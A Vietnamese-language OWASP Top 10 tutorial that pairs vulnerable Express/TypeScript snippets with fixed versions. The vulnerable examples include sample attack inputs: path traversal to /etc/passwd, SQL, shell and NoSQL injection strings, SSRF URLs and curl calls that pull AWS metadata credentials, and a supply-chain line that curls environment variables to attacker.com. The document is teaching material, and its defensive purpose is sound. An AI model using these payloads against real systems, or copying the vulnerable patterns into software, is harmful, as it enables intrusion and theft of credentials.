OWASP Top 10: Giải Thích Các Lỗ Hổng Web

// ❌ DỄ BỊ TẤN CÔNG: Người dùng có thể truy cập bất kỳ đơn hàng nào bằng cách thay đổi ID
app.get('/api/orders/:id', async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  res.json(order); // Trả về BẤT KỲ đơn hàng nào — kể cả của người dùng khác!
});
 
// Kẻ tấn công đơn giản thử:
// GET /api/orders/1001  (của họ)
// GET /api/orders/1002  (của người khác!)
// GET /api/orders/1003  (của người khác!)

// ❌ DỄ BỊ TẤN CÔNG: Route admin không có kiểm tra admin
app.delete('/api/admin/users/:id', async (req, res) => {
  // Chỉ frontend ẩn nút này — backend không có kiểm tra!
  await db.users.delete(req.params.id);
  res.json({ deleted: true });
});

// ❌ DỄ BỊ TẤN CÔNG: Path traversal cho phép đọc các file tùy ý
app.get('/files', (req, res) => {
  const filename = req.query.name;
  res.sendFile(`/var/app/uploads/${filename}`);
  // Kẻ tấn công yêu cầu: /files?name=../../etc/passwd
});

// ✅ AN TOÀN: Luôn xác minh resource thuộc về người dùng đang yêu cầu
app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.orders.findOne({
    id: req.params.id,
    userId: req.user.id, // ← Chỉ trả về nếu là đơn hàng của NGƯỜI DÙNG NÀY
  });
 
  if (!order) {
    return res.status(404).json({ error: 'Not found' });
  }
 
  res.json(order);
});
 
// ✅ AN TOÀN: Middleware dựa trên role cho các route admin
const requireAdmin = (req: Request, res: Response, next: NextFunction) => {
  if (req.user?.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  next();
};
 
app.delete('/api/admin/users/:id', authenticate, requireAdmin, async (req, res) => {
  await db.users.delete(req.params.id);
  res.json({ deleted: true });
});
 
// ✅ AN TOÀN: Làm sạch đường dẫn file
import path from 'path';
 
app.get('/files', authenticate, (req, res) => {
  const UPLOAD_DIR = '/var/app/uploads';
  const requestedPath = path.resolve(UPLOAD_DIR, req.query.name as string);
 
  // Đảm bảo đường dẫn đã resolve vẫn nằm trong thư mục upload
  if (!requestedPath.startsWith(UPLOAD_DIR)) {
    return res.status(403).json({ error: 'Forbidden' });
  }
 
  res.sendFile(requestedPath);
});

-- ❌ DỄ BỊ TẤN CÔNG: Nếu database bị xâm phạm, tất cả mật khẩu bị lộ
SELECT * FROM users;
-- id | email          | password
-- 1  | alice@example  | hunter2
-- 2  | bob@example    | 123456

GET http://example.com/login HTTP/1.1
Authorization: Basic dXNlcjpwYXNzd29yZA==

// ❌ DỄ BỊ TẤN CÔNG: MD5 bị phá vỡ về mặt mật mã và nhanh để brute-force
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
// Kẻ tấn công dùng rainbow tables — hash của "password" luôn giống nhau

GET /api/reset-password?token=abc123&[email protected]

// ✅ AN TOÀN: Dùng bcrypt để hash mật khẩu (adaptive, có salt)
import bcrypt from 'bcrypt';
 
const SALT_ROUNDS = 12; // Điều chỉnh dựa trên hiệu suất server
 
async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}
 
async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}
 
// ✅ AN TOÀN: Lưu token an toàn, không trong URL
// Xấu:  GET /reset?token=abc123
// Tốt: POST /reset với token trong request body hoặc Authorization header
 
// ✅ AN TOÀN: Mã hóa các trường nhạy cảm ở tầng ứng dụng
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
 
function encryptField(value: string, key: Buffer): string {
  const iv = randomBytes(16);
  const cipher = createCipheriv('aes-256-gcm', key, iv);
  const encrypted = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()]);
  const authTag = cipher.getAuthTag();
  return [iv.toString('hex'), authTag.toString('hex'), encrypted.toString('hex')].join(':');
}

// Express.js: Ép buộc HTTPS với header Strict-Transport-Security
app.use((req, res, next) => {
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

// ❌ DỄ BỊ TẤN CÔNG: Nối chuỗi trong SQL query
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
 
// Kẻ tấn công nhập:
// email: ' OR '1'='1
// password: bất cứ thứ gì
 
// Query kết quả:
// SELECT * FROM users WHERE email = '' OR '1'='1' AND password = 'bất cứ thứ gì'
// Trả về TẤT CẢ người dùng — xác thực bị bỏ qua!

email: '; DROP TABLE users; --

SELECT * FROM users WHERE email = ''; DROP TABLE users; --'

// ❌ DỄ BỊ TẤN CÔNG: Input người dùng được truyền vào lệnh shell
import { exec } from 'child_process';
 
app.get('/ping', (req, res) => {
  const host = req.query.host;
  exec(`ping -c 1 ${host}`, (err, stdout) => {
    res.send(stdout);
  });
  // Kẻ tấn công nhập: 8.8.8.8; cat /etc/passwd
  // Chạy: ping -c 1 8.8.8.8; cat /etc/passwd
});

// ❌ DỄ BỊ TẤN CÔNG: Kẻ tấn công có thể inject MongoDB operators
const user = await db.users.findOne({
  email: req.body.email,     // "[email protected]"
  password: req.body.password // { "$ne": null } ← Injection!
});
// Query trở thành: { email: "[email protected]", password: { $ne: null } }
// Khớp với bất kỳ người dùng nào có email đó — bỏ qua mật khẩu!

// ✅ AN TOÀN: Parameterized queries (không bao giờ nối chuỗi)
import { Pool } from 'pg';
const pool = new Pool();
 
async function findUser(email: string, password: string) {
  // Các tham số LUÔN được coi là dữ liệu, không bao giờ là SQL
  const result = await pool.query(
    'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
    [email, passwordHash]
  );
  return result.rows[0];
}
 
// ✅ AN TOÀN: ORM với parameterization (ví dụ Prisma)
const user = await prisma.user.findUnique({
  where: { email: email }, // Prisma xử lý parameterization
});
 
// ✅ AN TOÀN: Phòng chống command injection — tránh shell, hoặc dùng mảng argument
import { execFile } from 'child_process';
 
app.get('/ping', (req, res) => {
  const host = req.query.host as string;
 
  // Validate input trước
  if (!/^[a-zA-Z0-9.\-]+$/.test(host)) {
    return res.status(400).json({ error: 'Invalid host' });
  }
 
  // execFile KHÔNG dùng shell — argument không thể bị inject
  execFile('ping', ['-c', '1', host], (err, stdout) => {
    res.send(stdout);
  });
});
 
// ✅ AN TOÀN: Phòng chống NoSQL injection — validate type
import { z } from 'zod';
 
const loginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(1).max(128),
});
 
app.post('/login', async (req, res) => {
  const parsed = loginSchema.safeParse(req.body);
  if (!parsed.success) {
    return res.status(400).json({ error: 'Invalid input' });
  }
  // Bây giờ email và password được đảm bảo là string
  const { email, password } = parsed.data;
  const user = await db.users.findOne({ email, password });
});

// ❌ THIẾT KẾ KHÔNG AN TOÀN: Reset token được tạo từ email + timestamp
function generateResetToken(email: string): string {
  const timestamp = Math.floor(Date.now() / 1000); // seconds
  return crypto.createHash('md5').update(`${email}${timestamp}`).digest('hex');
}
// Kẻ tấn công biết email và có thể đoán timestamp trong vài giây

// ❌ THIẾT KẾ KHÔNG AN TOÀN: Trả về mọi thứ, dựa vào frontend để ẩn trường nhạy cảm
app.get('/api/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user); // Bao gồm passwordHash, internalNotes, adminFlags...
});

// ❌ THIẾT KẾ KHÔNG AN TOÀN: OTP được gửi không có rate limit hoặc đếm số lần thử
// Kẻ tấn công có thể yêu cầu OTP vô tận hoặc brute-force mã 6 chữ số (1M lần thử)

// ✅ AN TOÀN: Reset token ngẫu nhiên về mật mã
import { randomBytes } from 'crypto';
 
function generateResetToken(): string {
  return randomBytes(32).toString('hex'); // 256 bit entropy
}
 
// Lưu hashed token trong DB với thời gian hết hạn
async function createPasswordReset(email: string) {
  const token = generateResetToken();
  const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
  const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 phút
 
  await db.passwordResets.create({
    email,
    tokenHash: hashedToken,
    expiresAt,
    used: false,
  });
 
  return token; // Gửi token raw cho người dùng qua email
}
 
// ✅ AN TOÀN: Chọn trường rõ ràng — không bao giờ trả về model đầy đủ
app.get('/api/users/:id', authenticate, async (req, res) => {
  const user = await db.users.findById(req.params.id, {
    select: { id: true, name: true, email: true, avatarUrl: true },
    // passwordHash, adminFlags, v.v. KHÔNG BAO GIỜ được chọn
  });
  res.json(user);
});
 
// ✅ AN TOÀN: Rate limit các thao tác nhạy cảm
import rateLimit from 'express-rate-limit';
 
const otpLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 phút
  max: 5, // 5 yêu cầu OTP mỗi 15 phút trên mỗi IP
  message: { error: 'Quá nhiều yêu cầu, vui lòng thử lại sau.' },
});
 
app.post('/api/auth/send-otp', otpLimiter, async (req, res) => { /* ... */ });

// ❌ Response DỄ BỊ TẤN CÔNG cho lỗi runtime:
{
  "error": "TypeError: Cannot read property 'id' of undefined",
  "stack": "at /app/routes/users.js:47:23\n  at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)",
  "query": "SELECT * FROM users WHERE id = 'abc'",
  "dbHost": "prod-db.internal:5432"
}

GET /uploads/ HTTP/1.1
 
Index of /uploads/
  user_data_export_2024.csv
  admin_passwords_backup.txt
  database_credentials.env

GET /debug/env HTTP/1.1
 
DATABASE_URL=postgres://admin:[email protected]:5432/app
JWT_SECRET=my-very-secret-key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCY

// ✅ AN TOÀN: Response lỗi chung trong production
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  // Ghi log đầy đủ lỗi nội bộ
  console.error(err);
  // logger.error({ err, url: req.url, method: req.method });
 
  // Trả về thông báo chung cho client
  if (process.env.NODE_ENV === 'production') {
    return res.status(500).json({ error: 'Đã xảy ra lỗi nội bộ.' });
  }
 
  // Trong development, hiển thị chi tiết
  return res.status(500).json({
    error: err.message,
    stack: err.stack,
  });
});
 
// ✅ AN TOÀN: Security headers (dùng helmet trong Express.js)
import helmet from 'helmet';
app.use(helmet()); // Tự động thiết lập 11 security header
 
// ✅ AN TOÀN: Vô hiệu hóa header X-Powered-By (tiết lộ Express.js)
app.disable('x-powered-by');
 
// ✅ AN TOÀN: Xóa các route debug trong production
if (process.env.NODE_ENV !== 'production') {
  app.get('/debug/env', (req, res) => res.json(process.env));
}

# Kẻ tấn công chạy kiểm tra tương đương npm audit trên package.json bị rò rỉ
curl https://target.com/package.json
 
# Hoặc kiểm tra các endpoint bị lộ:
GET /actuator/env   # Endpoint mặc định Spring Boot — lộ mọi thứ
GET /.git/config    # Git config bị lộ lên web — tiết lộ thông tin repo

# Kiểm tra lỗ hổng đã biết trong các dự án Node.js
npm audit
npm audit fix          # Tự động sửa các bản cập nhật tương thích
npm audit fix --force  # Ép cập nhật (có thể bao gồm thay đổi breaking)
 
# Dùng công cụ chuyên dụng để quét kỹ hơn
npx snyk test
npx snyk monitor  # Giám sát liên tục
 
# Cập nhật dependencies
npx npm-check-updates  # Xem các deps có bản cập nhật

// ✅ Best practice: Pin exact version trong production (package-lock.json)
// Và duy trì quy trình cập nhật dependency thường xuyên:
 
// package.json
{
  "scripts": {
    "audit": "npm audit --audit-level=moderate",
    "outdated": "npm outdated"
  }
}

Kẻ tấn công có 1 tỷ cặp email/mật khẩu từ các vi phạm trước đó.
Viết bot để thử từng cặp trên endpoint đăng nhập của bạn.
Ngay cả với tỷ lệ tái sử dụng 1% → 10 triệu lần đăng nhập hợp lệ.

// ❌ DỄ BỊ TẤN CÔNG: Không có lockout sau các lần thử thất bại
app.post('/login', async (req, res) => {
  const user = await db.users.findByEmail(req.body.email);
  if (user && user.password === req.body.password) {
    req.session.userId = user.id;
    return res.json({ success: true });
  }
  res.status(401).json({ error: 'Thông tin đăng nhập không hợp lệ' });
  // Kẻ tấn công thử hàng triệu mật khẩu — không có throttling
});

// ❌ DỄ BỊ TẤN CÔNG: Session ID không được tạo lại sau đăng nhập
// Nếu kẻ tấn công cài sẵn session ID đã biết trước khi đăng nhập,
// sau khi nạn nhân đăng nhập, session ID của kẻ tấn công đã được xác thực
app.post('/login', async (req, res) => {
  // ... validate credentials ...
  req.session.userId = user.id; // Session ID cũ được giữ nguyên!
});

// ✅ AN TOÀN: Thực thi mật khẩu mạnh
import { zxcvbn } from '@zxcvbn-ts/core';
 
function isPasswordStrong(password: string): boolean {
  const result = zxcvbn(password);
  return result.score >= 3; // 0-4, yêu cầu ít nhất 3
}
 
// ✅ AN TOÀN: Account lockout với exponential backoff
const LOCKOUT_THRESHOLD = 5; // lần thử
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 phút
 
async function recordFailedLogin(email: string): Promise<boolean> {
  const key = `login_attempts:${email}`;
  const attempts = await redis.incr(key);
  await redis.expire(key, 900); // 15 phút
 
  if (attempts >= LOCKOUT_THRESHOLD) {
    await redis.set(`locked:${email}`, '1', 'EX', 900);
    return true; // Tài khoản bị khóa
  }
  return false;
}
 
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
 
  const isLocked = await redis.get(`locked:${email}`);
  if (isLocked) {
    return res.status(429).json({
      error: 'Tài khoản tạm thời bị khóa. Thử lại sau 15 phút.',
    });
  }
 
  const user = await db.users.findByEmail(email);
  const valid = user && await bcrypt.compare(password, user.passwordHash);
 
  if (!valid) {
    await recordFailedLogin(email);
    // Luôn cùng response — không tiết lộ email có tồn tại không
    return res.status(401).json({ error: 'Email hoặc mật khẩu không hợp lệ' });
  }
 
  // ✅ Tạo lại session ID sau đăng nhập thành công (ngăn chặn fixation)
  req.session.regenerate(() => {
    req.session.userId = user.id;
    res.json({ success: true });
  });
});
 
// ✅ AN TOÀN: Vô hiệu hóa session khi đăng xuất
app.post('/logout', (req, res) => {
  req.session.destroy(() => {
    res.clearCookie('connect.sid');
    res.json({ success: true });
  });
});

// ❌ DỄ BỊ TẤN CÔNG: Deserialize dữ liệu không tin cậy có thể thực thi code tùy ý
// Trong các ngôn ngữ có serialization phong phú (Java, Python pickle, PHP unserialize)
// object được deserialize có thể kích hoạt thực thi code
 
// Ví dụ Python (để minh họa):
// import pickle
// pickle.loads(user_supplied_data)  # Có thể chạy code Python tùy ý!
 
// Node.js / JSON an toàn hơn nhưng eval() nguy hiểm:
const userData = eval(`(${req.body.data})`); // ❌ Không bao giờ dùng eval trên input người dùng

# Kẻ tấn công xuất bản "coloors" (typosquatting "colors")
# hoặc xâm phạm tài khoản maintainer để push bản cập nhật độc hại
 
# package.json của bạn lấy phiên bản bị xâm phạm:
npm install colors@latest
# Bản cập nhật gọi về: curl https://attacker.com/steal?data=$(env)

// ❌ DỄ BỊ TẤN CÔNG: Tự động tải về và thực thi script từ CDN
const script = await fetch('https://cdn.example.com/update.js');
eval(await script.text()); // Nếu CDN bị xâm phạm, bạn thực thi code độc hại

// ✅ AN TOÀN: Xác minh toàn vẹn với Subresource Integrity (SRI) cho CDN script
// Trong HTML:
// <script
//   src="https://cdn.example.com/library.js"
//   integrity="sha384-abc123..."
//   crossorigin="anonymous">
// </script>
 
// ✅ AN TOÀN: Dùng JSON (không phải eval) để trao đổi dữ liệu
const userData = JSON.parse(req.body.data); // An toàn — JSON không thực thi code
 
// ✅ AN TOÀN: Validate schema dữ liệu đã deserialize
import { z } from 'zod';
 
const userDataSchema = z.object({
  name: z.string().max(100),
  age: z.number().int().positive(),
  role: z.enum(['user', 'moderator']), // Enum nghiêm ngặt — không thể inject 'admin'
});
 
const userData = userDataSchema.parse(JSON.parse(req.body.data));

# Khóa phiên bản chính xác để ngăn cập nhật bất ngờ
npm ci  # Dùng package-lock.json chính xác — không có floating version
 
# Kiểm tra trước khi cài đặt
npm audit before npm install
 
# Dùng private registry proxy (Verdaccio, Artifactory) cache các phiên bản đã được phê duyệt

// ✅ AN TOÀN: Structured security event logging
import winston from 'winston';
 
const securityLogger = winston.createLogger({
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'security.log' }),
    // Trong production: gửi đến centralized logging (Datadog, Splunk, CloudWatch)
  ],
});
 
// Ghi log sự kiện bảo mật với đầy đủ context
function logSecurityEvent(event: {
  type: 'login_success' | 'login_failure' | 'access_denied' | 'password_reset' | 'suspicious_activity';
  userId?: string;
  email?: string;
  ip: string;
  userAgent?: string;
  details?: Record<string, unknown>;
}) {
  securityLogger.warn({
    timestamp: new Date().toISOString(),
    ...event,
  });
}
 
// Dùng trong route handler của bạn:
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const ip = req.ip;
  const userAgent = req.headers['user-agent'];
 
  const user = await authenticateUser(email, password);
 
  if (!user) {
    logSecurityEvent({ type: 'login_failure', email, ip, userAgent });
    return res.status(401).json({ error: 'Thông tin đăng nhập không hợp lệ' });
  }
 
  logSecurityEvent({ type: 'login_success', userId: user.id, email, ip, userAgent });
  // ... tiếp tục ...
});
 
// Ghi log lỗi access control
app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.orders.findOne({ id: req.params.id, userId: req.user.id });
 
  if (!order) {
    logSecurityEvent({
      type: 'access_denied',
      userId: req.user.id,
      ip: req.ip,
      details: { resource: 'order', resourceId: req.params.id },
    });
    return res.status(404).json({ error: 'Not found' });
  }
 
  res.json(order);
});

// Giám sát log để phát hiện bất thường:
// - >10 lần đăng nhập thất bại từ cùng IP trong 5 phút → cảnh báo + block tạm thời
// - Lỗi access denied từ người dùng đã xác thực → điều tra IDOR probing
// - Export dữ liệu lớn (>10.000 bản ghi) → cảnh báo exfiltrate dữ liệu
// - Đăng nhập từ quốc gia/IP bất thường cho người dùng → cảnh báo account takeover

// ❌ DỄ BỊ TẤN CÔNG: Server tải URL do người dùng cung cấp mà không validate
app.post('/api/preview', async (req, res) => {
  const { url } = req.body;
  const response = await fetch(url); // Kẻ tấn công kiểm soát điều này!
  const content = await response.text();
  res.send(content);
});
 
// Kẻ tấn công cung cấp:
// url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
// Server tải metadata AWS → trả về AWS access key!
 
// Hoặc:
// url: "http://localhost:6379"  → Nói chuyện với Redis (không có auth)
// url: "http://internal-admin.company.com/admin"  → Bỏ qua firewall mạng
// url: "file:///etc/passwd"  → Đọc filesystem cục bộ

# Từ bên trong EC2 instance (hoặc ứng dụng có lỗ hổng SSRF):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Trả về: role-name
 
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Trả về: AccessKeyId, SecretAccessKey, Token
# Kẻ tấn công có AWS credentials!

// ✅ AN TOÀN: Validate và hạn chế URL trước khi tải
import dns from 'dns/promises';
import { URL } from 'url';
 
const BLOCKED_IP_RANGES = [
  '10.0.0.0/8',       // Mạng riêng tư
  '172.16.0.0/12',    // Mạng riêng tư
  '192.168.0.0/16',   // Mạng riêng tư
  '127.0.0.0/8',      // Loopback
  '169.254.0.0/16',   // Link-local (AWS metadata!)
  '::1',              // IPv6 loopback
];
 
function isPrivateIP(ip: string): boolean {
  // Dùng thư viện như 'ipaddr.js' trong production
  return BLOCKED_IP_RANGES.some(range => {
    // Đơn giản hóa — dùng ipaddr.js hoặc tương tự trong production
    return ip.startsWith('127.') || ip.startsWith('10.') ||
           ip.startsWith('192.168.') || ip.startsWith('169.254.');
  });
}
 
async function safeSSRFFetch(url: string): Promise<Response> {
  // 1. Parse và validate URL
  let parsed: URL;
  try {
    parsed = new URL(url);
  } catch {
    throw new Error('URL không hợp lệ');
  }
 
  // 2. Chỉ cho phép HTTP/HTTPS (block file://, ftp://, v.v.)
  if (!['http:', 'https:'].includes(parsed.protocol)) {
    throw new Error('Chỉ cho phép URL HTTP/HTTPS');
  }
 
  // 3. Block private IP — resolve hostname thành IP trước
  const { address } = await dns.lookup(parsed.hostname);
  if (isPrivateIP(address)) {
    throw new Error('Không được phép truy cập tài nguyên nội bộ');
  }
 
  // 4. Tải với timeout để ngăn slow loris
  const controller = new AbortController();
  const timeoutId = setTimeout(() => controller.abort(), 5000);
 
  try {
    return await fetch(url, {
      signal: controller.signal,
      redirect: 'error', // Không follow redirect (có thể redirect đến IP nội bộ)
    });
  } finally {
    clearTimeout(timeoutId);
  }
}
 
// ✅ THAY THẾ: Dùng allowlist thay vì blocklist
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
 
function isAllowedURL(url: string): boolean {
  try {
    const parsed = new URL(url);
    return ALLOWED_DOMAINS.includes(parsed.hostname);
  } catch {
    return false;
  }
}